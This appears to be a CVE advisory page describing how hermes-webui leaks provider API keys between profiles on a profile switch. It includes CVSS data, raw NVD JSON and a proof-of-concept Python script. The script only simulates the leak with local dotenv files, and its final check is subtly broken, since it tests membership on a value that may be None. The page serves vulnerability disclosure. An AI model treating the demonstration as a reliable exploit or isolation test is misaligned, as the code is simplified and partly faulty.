Security Vulnerability Report
中文
CVE-2026-6830 CVSS 3.3 LOW

CVE-2026-6830

Published: 2026-04-21 22:16:21
Last Modified: 2026-04-22 21:20:25

Description

nesquena hermes-webui contains an environment variable leakage vulnerability where profile switching does not clear environment variables from the previously active profile before loading the next profile. Attackers or users can exploit additive dotenv reload behavior to access provider API keys and other sensitive secrets from one profile context in another profile, breaking expected security isolation between profiles.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

nesquena hermes-webui < v0.50.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-6830 # This script demonstrates the environment variable leakage due to additive dotenv reloading. import os from dotenv import load_dotenv def simulate_profile_switch(profile_path): print(f"\n--- Switching to profile: {profile_path} ---") # The vulnerability occurs here: the application loads the new profile # without clearing the existing environment variables from the previous profile. load_dotenv(dotenv_path=profile_path, override=True) # Check if sensitive data from the previous profile persists secret = os.getenv('PROVIDER_API_KEY') print(f"Current PROVIDER_API_KEY: {secret}") return secret # Step 1: Load Profile A (Contains sensitive key) with open('profile_a.env', 'w') as f: f.write('PROVIDER_API_KEY=secret_key_profile_a') simulate_profile_switch('profile_a.env') # Step 2: Switch to Profile B (Does not contain the key) with open('profile_b.env', 'w') as f: f.write('OTHER_VAR=some_value') # In a vulnerable version, 'secret_key_profile_a' would still be accessible # even though profile_b.env does not define PROVIDER_API_KEY. # In the patched version, the environment should be cleared before loading. print("\n--- Exploitation Result ---") key_leaked = simulate_profile_switch('profile_b.env') if 'secret_key_profile_a' in key_leaked: print("[!] VULNERABLE: Sensitive data from Profile A leaked into Profile B context.") else: print("[+] SECURE: Environment variables were properly isolated.") # Cleanup os.remove('profile_a.env') os.remove('profile_b.env')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6830", "sourceIdentifier": "[email protected]", "published": "2026-04-21T22:16:20.863", "lastModified": "2026-04-22T21:20:25.267", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "nesquena hermes-webui contains an environment variable leakage vulnerability where profile switching does not clear environment variables from the previously active profile before loading the next profile. Attackers or users can exploit additive dotenv reload behavior to access provider API keys and other sensitive secrets from one profile context in another profile, breaking expected security isolation between profiles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-459"}, {"lang": "en", "value": "CWE-668"}]}], "references": [{"url": "https://github.com/nesquena/hermes-webui/commit/88dc8bbe26a6055161d3251b70f5cd3d3c5831b0", "source": "[email protected]"}, {"url": "https://github.com/nesquena/hermes-webui/pull/351", "source": "[email protected]"}, {"url": "https://github.com/nesquena/hermes-webui/releases/tag/v0.50.12", "source": "[email protected]"}, {"url": "https://github.com/nesquena/hermes-webui/releases/tag/v0.50.132", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/nesquena-hermes-webui-environment-variable-credential-leakage-via-profile-switch", "source": "[email protected]"}]}}